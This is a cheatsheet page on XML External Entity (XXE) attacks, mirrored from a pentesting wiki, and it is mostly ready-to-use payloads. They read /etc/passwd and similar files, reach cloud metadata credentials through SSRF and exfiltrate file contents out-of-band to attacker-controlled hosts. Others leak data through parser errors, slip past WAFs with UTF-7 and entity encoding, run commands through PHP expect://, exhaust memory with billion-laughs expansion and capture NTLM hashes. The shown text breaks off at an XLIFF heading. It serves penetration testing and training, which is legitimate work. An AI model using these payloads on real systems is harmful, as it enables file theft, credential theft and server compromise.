daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

xxe-xee-xml-external-entity.md (45427B)


      1 ---
      2 title: "XXE - XEE - XML External Entity"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xxe-xee-xml-external-entity.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xxe-xee-xml-external-entity.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # XXE - XEE - XML External Entity
     14 
     15 ## XML Basics
     16 
     17 XML is a markup language designed for data storage and transport, featuring a flexible structure that allows for the use of descriptively named tags. It differs from HTML by not being limited to a set of predefined tags. XML's significance has declined with the rise of JSON, despite its initial role in AJAX technology.<sup>[[2]](#references)</sup>
     18 
     19 - **Data Representation through Entities**: Entities in XML enable the representation of data, including special characters like `&lt;` and `&gt;`, which correspond to `<` and `>` to avoid conflict with XML's tag system.
     20 - **Defining XML Elements**: XML allows for the definition of element types, outlining how elements should be structured and what content they may contain, ranging from any type of content to specific child elements.
     21 - **Document Type Definition (DTD)**: DTDs are crucial in XML for defining the document's structure and the types of data it can contain. They can be internal, external, or a combination, guiding how documents are formatted and validated.
     22 - **Custom and External Entities**: XML supports the creation of custom entities within a DTD for flexible data representation. External entities, defined with a URL, raise security concerns, particularly in the context of XML External Entity (XXE) attacks, which exploit the way XML parsers handle external data sources: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
     23 - **XXE Detection with Parameter Entities**: For detecting XXE vulnerabilities, especially when conventional methods fail due to parser security measures, XML parameter entities can be utilized. These entities allow for out-of-band detection techniques, such as triggering DNS lookups or HTTP requests to a controlled domain, to confirm the vulnerability.
     24   - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
     25   - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
     26 
     27 ## Main attacks
     28 
     29 [**Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)<sup>[[8]](#references)</sup>
     30 
     31 ### New Entity test
     32 
     33 In this attack I'm going to test if a simple new ENTITY declaration is working
     34 
     35 ```xml
     36 <?xml version="1.0" encoding="UTF-8"?>
     37 <!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
     38 <stockCheck>
     39     <productId>&toreplace;</productId>
     40     <storeId>1</storeId>
     41 </stockCheck>
     42 ```
     43 
     44 ![Main attacks - New Entity test: Lets try to read /etc/passwd in different ways. For Windows you could try to read: C: windows system32 drivers etc hosts](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28870%29.png)
     45 
     46 ### Read file
     47 
     48 Lets try to read `/etc/passwd` in different ways. For Windows you could try to read: `C:\windows\system32\drivers\etc\hosts`
     49 
     50 In this first case notice that SYSTEM "_**file:///**etc/passwd_" will also work.
     51 
     52 ```xml
     53 <!--?xml version="1.0" ?-->
     54 <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
     55 <data>&example;</data>
     56 ```
     57 
     58 ![New Entity test - Read file: This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2886%29.png)
     59 
     60 This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs)
     61 
     62 ```xml
     63 <!--?xml version="1.0" ?-->
     64 <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
     65 <data>&example;</data>
     66 ```
     67 
     68 In this third case notice we are declaring the `Element stockCheck` as ANY
     69 
     70 ```xml
     71 <?xml version="1.0" encoding="UTF-8"?>
     72 <!DOCTYPE data [
     73 <!ELEMENT stockCheck ANY>
     74 <!ENTITY file SYSTEM "file:///etc/passwd">
     75 ]>
     76 <stockCheck>
     77     <productId>&file;</productId>
     78     <storeId>1</storeId>
     79 </stockCheck3>
     80 ```
     81 
     82 ![New Entity test - Read file: In Java based applications it might be possible to list the contents of a directory via XXE with a payload like (just asking for the directory instead of the...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28753%29.png)
     83 
     84 ### Directory listing
     85 
     86 In **Java** based applications it might be possible to **list the contents of a directory** via XXE with a payload like (just asking for the directory instead of the file):
     87 
     88 ```xml
     89 <!-- Root / -->
     90 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
     91 
     92 <!-- /etc/ -->
     93 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
     94 ```
     95 
     96 ### SSRF
     97 
     98 An XXE could be used to abuse a SSRF inside a cloud
     99 
    100 ```xml
    101 <?xml version="1.0" encoding="UTF-8"?>
    102 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
    103 <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
    104 ```
    105 
    106 ### Blind SSRF
    107 
    108 Using the **previously commented technique** you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because **XML entities aren't allowed**, in that case you could try using **XML parameter entities**:
    109 
    110 ```xml
    111 <?xml version="1.0" encoding="UTF-8"?>
    112 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
    113 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
    114 ```
    115 
    116 ### "Blind" SSRF - Exfiltrate data out-of-band
    117 
    118 **In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via \_ftp://**\_ using this basic server for example [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). This explanation is based in** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**<sup>[[8]](#references)</sup>
    119 
    120 In the given malicious DTD, a series of steps are conducted to exfiltrate data:
    121 
    122 ### Malicious DTD Example:
    123 
    124 The structure is as follows:
    125 
    126 ```xml
    127 <!ENTITY % file SYSTEM "file:///etc/hostname">
    128 <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
    129 %eval;
    130 %exfiltrate;
    131 ```
    132 
    133 The steps executed by this DTD include:
    134 
    135 1. **Definition of Parameter Entities:**
    136    - An XML parameter entity, `%file`, is created, reading the content of the `/etc/hostname` file.
    137    - Another XML parameter entity, `%eval`, is defined. It dynamically declares a new XML parameter entity, `%exfiltrate`. The `%exfiltrate` entity is set to make an HTTP request to the attacker's server, passing the content of the `%file` entity within the query string of the URL.
    138 2. **Execution of Entities:**
    139    - The `%eval` entity is utilized, leading to the execution of the dynamic declaration of the `%exfiltrate` entity.
    140    - The `%exfiltrate` entity is then used, triggering an HTTP request to the specified URL with the file's contents.
    141 
    142 The attacker hosts this malicious DTD on a server under their control, typically at a URL like `http://web-attacker.com/malicious.dtd`.
    143 
    144 **XXE Payload:** To exploit a vulnerable application, the attacker sends an XXE payload:
    145 
    146 ```xml
    147 <?xml version="1.0" encoding="UTF-8"?>
    148 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
    149 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
    150 ```
    151 
    152 This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server.
    153 
    154 ### Error Based(External DTD)
    155 
    156 **In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind)
    157 
    158 An XML parsing error message, revealing the contents of the `/etc/passwd` file, can be triggered using a malicious external Document Type Definition (DTD). This is accomplished through the following steps:<sup>[[6]](#references)</sup>
    159 
    160 1. An XML parameter entity named `file` is defined, which contains the contents of the `/etc/passwd` file.
    161 2. An XML parameter entity named `eval` is defined, incorporating a dynamic declaration for another XML parameter entity named `error`. This `error` entity, when evaluated, attempts to load a nonexistent file, incorporating the contents of the `file` entity as its name.
    162 3. The `eval` entity is invoked, leading to the dynamic declaration of the `error` entity.
    163 4. Invocation of the `error` entity results in an attempt to load a nonexistent file, producing an error message that includes the contents of the `/etc/passwd` file as part of the file name.
    164 
    165 The malicious external DTD can be invoked with the following XML:
    166 
    167 ```xml
    168 <?xml version="1.0" encoding="UTF-8"?>
    169 <!DOCTYPE stockCheck [<!ENTITY % error_dtd SYSTEM "http://web-attacker.com/error.dtd"> %error_dtd;]>
    170 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
    171 ```
    172 
    173 Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
    174 
    175 ![Malicious DTD Example - Error Based(External DTD): Error Based (system DTD)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28809%29.png)
    176 
    177 _**Please notice that external DTD allows us to include one entity inside the second `eval`), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_
    178 
    179 ### **Error Based (system DTD)**
    180 
    181 So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?
    182 
    183 A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information.<sup>[[9]](#references)</sup>
    184 
    185 Consider a scenario where the server's filesystem contains a DTD file at `/usr/local/app/schema.dtd`, defining an entity named `custom_entity`. An attacker can induce an XML parsing error revealing the contents of the `/etc/passwd` file by submitting a hybrid DTD as follows:
    186 
    187 ```xml
    188 <!DOCTYPE foo [
    189     <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
    190     <!ENTITY % custom_entity '
    191         <!ENTITY % file SYSTEM "file:///etc/passwd">
    192         <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
    193         %eval;
    194         %error;
    195     '>
    196     %local_dtd;
    197 ]>
    198 ```
    199 
    200 The outlined steps are executed by this DTD:
    201 
    202 - The definition of an XML parameter entity named `local_dtd` includes the external DTD file located on the server's filesystem.
    203 - A redefinition occurs for the `custom_entity` XML parameter entity, originally defined in the external DTD, to encapsulate an [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). This redefinition is designed to elicit a parsing error, exposing the contents of the `/etc/passwd` file.
    204 - By employing the `local_dtd` entity, the external DTD is engaged, encompassing the newly defined `custom_entity`. This sequence of actions precipitates the emission of the error message aimed for by the exploit.
    205 
    206 **Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso`
    207 
    208 ```xml
    209 <?xml version="1.0" encoding="UTF-8"?>
    210 <!DOCTYPE foo [
    211     <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    212     <!ENTITY % ISOamso '
    213         <!ENTITY % file SYSTEM "file:///etc/passwd">
    214         <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    215         %eval;
    216         %error;
    217     '>
    218     %local_dtd;
    219 ]>
    220 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
    221 ```
    222 
    223 ![Error Based(External DTD) - Error Based (system DTD): As this technique uses an internal DTD you need to find a valid one first . You could do this installing the same OS / Software the...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28625%29.png)
    224 
    225 As this technique uses an **internal DTD you need to find a valid one first**. You could do this **installing** the same **OS / Software** the server is using and **searching some default DTDs**, or **grabbing a list** of **default DTDs** inside systems and **check** if any of them exists:
    226 
    227 ```xml
    228 <!DOCTYPE foo [
    229 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    230 %local_dtd;
    231 ]>
    232 ```
    233 
    234 For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
    235 
    236 ### Finding DTDs inside the system
    237 
    238 In the following awesome github repo you can find **paths of DTDs that can be present in the system**:
    239 
    240 
    241 [List](https%3A//github.com/GoSecure/dtd-finder/tree/master/list)
    242 
    243 Moreover, if you have the **Docker image of the victim system**, you can use the tool of the same repo to **scan** the **image** and **find** the path of **DTDs** present inside the system. Read the [Readme of the github](https://github.com/GoSecure/dtd-finder) to learn how.
    244 
    245 ```bash
    246 java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
    247 
    248 Scanning TAR file /tmp/dadocker.tar
    249 
    250  [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
    251 Testing 0 entities : []
    252 
    253  [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
    254 Testing 0 entities : []
    255 ```
    256 
    257 ### XXE via Office Open XML Parsers
    258 
    259 Office Open XML formats are ZIP archives containing XML parts. A real PhpSpreadsheet advisory demonstrates that placing an external-entity declaration in an XLSX part such as `xl/sharedStrings.xml` can trigger XXE when the server extracts and parses the workbook.<sup>[[15]](#references)</sup> A dedicated OOXML lab provides additional attack context and worked DOCX/XLSX examples.<sup>[[19]](#references)</sup>
    260 
    261 The ability to **upload Microsoft Office documents is offered by many web applications**, which then proceed to extract certain details from these documents. For instance, a web application may allow users to import data by uploading an XLSX format spreadsheet. In order for the parser to extract the data from the spreadsheet, it will inevitably need to parse at least one XML file.
    262 
    263 To test for this vulnerability, it is necessary to create a **Microsoft Office file containing an XXE payload**. The first step is to create an empty directory to which the document can be unzipped.
    264 
    265 Once the document has been unzipped, the XML file located at `./unzipped/word/document.xml` should be opened and edited in a preferred text editor (such as vim). The XML should be modified to include the desired XXE payload, often starting with an HTTP request.
    266 
    267 The modified XML lines should be inserted between the two root XML objects. It is important to replace the URL with a monitorable URL for requests.
    268 
    269 Finally, the file can be zipped up to create the malicious poc.docx file. From the previously created "unzipped" directory, the following command should be run:
    270 
    271 Now, the created file can be uploaded to the potentially vulnerable web application, and one can hope for a request to appear in the Burp Collaborator logs.
    272 
    273 ### Jar: protocol
    274 
    275 The **jar** protocol is made accessible exclusively within **Java applications**. It is designed to enable file access within a **PKZIP** archive (e.g., `.zip`, `.jar`, etc.), catering to both local and remote files.<sup>[[9]](#references)</sup>
    276 
    277 ```text
    278 jar:file:///var/myarchive.zip!/file.txt
    279 jar:https://download.host.com/myarchive.zip!/file.txt
    280 ```
    281 
    282 > [!CAUTION]
    283 > To be able to access files inside PKZIP files is **super useful to abuse XXE via system DTD files.** Check [this section to learn how to abuse system DTD files](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#error-based-system-dtd).
    284 
    285 The process behind accessing a file within a PKZIP archive via the jar protocol involves several steps:
    286 
    287 1. An HTTP request is made to download the zip archive from a specified location, such as `https://download.website.com/archive.zip`.
    288 2. The HTTP response containing the archive is stored temporarily on the system, typically in a location like `/tmp/...`.
    289 3. The archive is then extracted to access its contents.
    290 4. The specific file within the archive, `file.zip`, is read.
    291 5. After the operation, any temporary files created during this process are deleted.
    292 
    293 An interesting technique to interrupt this process at the second step involves keeping the server connection open indefinitely when serving the archive file. Tools available at [this repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) can be utilized for this purpose, including a Python server (`slow_http_server.py`) and a Java server (`slowserver.jar`).
    294 
    295 ```xml
    296 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
    297 <foo>&xxe;</foo>
    298 ```
    299 
    300 > [!CAUTION]
    301 > Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** (such as local file include, template injection, XSLT RCE, deserialization, etc).
    302 
    303 ### XSS
    304 
    305 ```xml
    306 <![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
    307 ```
    308 
    309 ### DoS
    310 
    311 #### Billion Laugh Attack
    312 
    313 ```xml
    314 <!DOCTYPE data [
    315 <!ENTITY a0 "dos" >
    316 <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    317 <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    318 <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    319 <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    320 ]>
    321 <data>&a4;</data>
    322 ```
    323 
    324 #### Yaml Attack
    325 
    326 ```xml
    327 a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
    328 b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
    329 c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
    330 d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
    331 e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
    332 f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
    333 g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
    334 h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
    335 i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    336 ```
    337 
    338 #### Quadratic Blowup Attack
    339 
    340 ![Yaml Attack - Quadratic Blowup Attack: Quadratic Blowup Attack](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28527%29.png)
    341 
    342 #### Getting NTML
    343 
    344 On Windows hosts it is possible to get the NTML hash of the web server user by setting a responder.py handler:
    345 
    346 ```bash
    347 Responder.py -I eth0 -v
    348 ```
    349 
    350 and by sending the following request
    351 
    352 ```xml
    353 <!--?xml version="1.0" ?-->
    354 <!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
    355 <data>&example;</data>
    356 ```
    357 
    358 Then you can try to crack the hash using hashcat
    359 
    360 ## Hidden XXE Surfaces
    361 
    362 ### XInclude
    363 
    364 When integrating client data into server-side XML documents, like those in backend SOAP requests, direct control over the XML structure is often limited, hindering traditional XXE attacks due to restrictions on modifying the `DOCTYPE` element. However, an `XInclude` attack provides a solution by allowing the insertion of external entities within any data element of the XML document. This method is effective even when only a portion of the data within a server-generated XML document can be controlled.
    365 
    366 To execute an `XInclude` attack, the `XInclude` namespace must be declared, and the file path for the intended external entity must be specified. Below is a succinct example of how such an attack can be formulated:
    367 
    368 ```xml
    369 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
    370 ```
    371 
    372 Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!<sup>[[8]](#references)</sup>
    373 
    374 ### SVG - File Upload
    375 
    376 Files uploaded by users to certain applications, which are then processed on the server, can exploit vulnerabilities in how XML or XML-containing file formats are handled. Common file formats like office documents (DOCX) and images (SVG) are based on XML.
    377 
    378 When users **upload images**, these images are processed or validated server-side. Even for applications expecting formats such as PNG or JPEG, the **server's image processing library might also support SVG images**. SVG, being an XML-based format, can be exploited by attackers to submit malicious SVG images, thereby exposing the server to XXE (XML External Entity) vulnerabilities.
    379 
    380 An example of such an exploit is shown below, where a malicious SVG image attempts to read system files:
    381 
    382 ```xml
    383 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
    384 ```
    385 
    386 Another method involves attempting to **execute commands** through the PHP "expect" wrapper:
    387 
    388 ```xml
    389 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    390     <image xlink:href="expect://ls"></image>
    391 </svg>
    392 ```
    393 
    394 In both instances, the SVG format is used to launch attacks that exploit the XML processing capabilities of the server's software, highlighting the need for robust input validation and security measures.
    395 
    396 Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!<sup>[[8]](#references)</sup>
    397 
    398 **Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.**
    399 
    400 ### **PDF - File upload**
    401 
    402 Read the following post to **learn how to exploit a XXE uploading a PDF** file:
    403 
    404 
    405 [Pdf Upload Xxe And Cors Bypass](/hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass)
    406 
    407 ### Content-Type: From x-www-urlencoded to XML
    408 
    409 If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:<sup>[[7]](#references)</sup>
    410 
    411 ```xml
    412 POST /action HTTP/1.0
    413 Content-Type: application/x-www-form-urlencoded
    414 Content-Length: 7
    415 
    416 foo=bar
    417 ```
    418 
    419 Then you might be able submit the following request, with the same result:
    420 
    421 ```xml
    422 POST /action HTTP/1.0
    423 Content-Type: text/xml
    424 Content-Length: 52
    425 
    426 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
    427 ```
    428 
    429 ### Content-Type: From JSON to XEE
    430 
    431 To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
    432 
    433 ```xml
    434 Content-Type: application/json;charset=UTF-8
    435 
    436 {"root": {"root": {
    437   "firstName": "Avinash",
    438   "lastName": "",
    439   "country": "United States",
    440   "city": "ddd",
    441   "postalCode": "ddd"
    442 }}}
    443 ```
    444 
    445 ```xml
    446 Content-Type: application/xml;charset=UTF-8
    447 
    448 <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    449 <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
    450 <root>
    451  <root>
    452   <firstName>&xxe;</firstName>
    453   <lastName/>
    454   <country>United States</country>
    455   <city>ddd</city>
    456   <postalCode>ddd</postalCode>
    457  </root>
    458 </root>
    459 ```
    460 
    461 Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).<sup>[[18]](#references)</sup>
    462 
    463 ## WAF & Protections Bypasses
    464 
    465 ### Base64
    466 
    467 ```xml
    468 <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
    469 ```
    470 
    471 This only work if the XML server accepts the `data://` protocol.<sup>[[3]](#references)</sup>
    472 
    473 ### UTF-7
    474 
    475 You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7.
    476 
    477 ```xml
    478 <!xml version="1.0" encoding="UTF-7"?-->
    479 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
    480 ```
    481 
    482 ```xml
    483 <?xml version="1.0" encoding="UTF-7"?>
    484 +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
    485 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
    486 +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
    487 ```
    488 
    489 ### File:/ Protocol Bypass
    490 
    491 If the web is using PHP, instead of using `file:/` you can use **php wrappers**`php://filter/convert.base64-encode/resource=` to **access internal files**.<sup>[[5]](#references)</sup>
    492 
    493 If the web is using Java you may check the [**jar: protocol**](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#jar-protocol).
    494 
    495 ### HTML Entities
    496 
    497 Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
    498 You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\
    499 Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
    500 
    501 ```xml
    502 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
    503 <data>
    504     <env>&exfil;</env>
    505 </data>
    506 ```
    507 
    508 DTD example:
    509 
    510 ```xml
    511 <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    512 <!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
    513 %abt;
    514 %exfil;
    515 ```
    516 
    517 ## PHP Wrappers
    518 
    519 ### Base64
    520 
    521 **Extract** _**index.php**_
    522 
    523 ```xml
    524 <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
    525 ```
    526 
    527 #### **Extract external resource**
    528 
    529 ```xml
    530 <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
    531 ```
    532 
    533 ### Remote code execution
    534 
    535 **If PHP "expect" module is loaded**
    536 
    537 ```xml
    538 <?xml version="1.0" encoding="ISO-8859-1"?>
    539 <!DOCTYPE foo [ <!ELEMENT foo ANY >
    540 <!ENTITY xxe SYSTEM "expect://id" >]>
    541 <creds>
    542     <user>&xxe;</user>
    543     <pass>mypass</pass>
    544 </creds>
    545 ```
    546 
    547 ## **SOAP - XEE**
    548 
    549 ```xml
    550 <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
    551 ```
    552 
    553 ## XLIFF - XXE
    554 
    555 This example is inspired in [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)<sup>[[16]](#references)</sup>
    556 
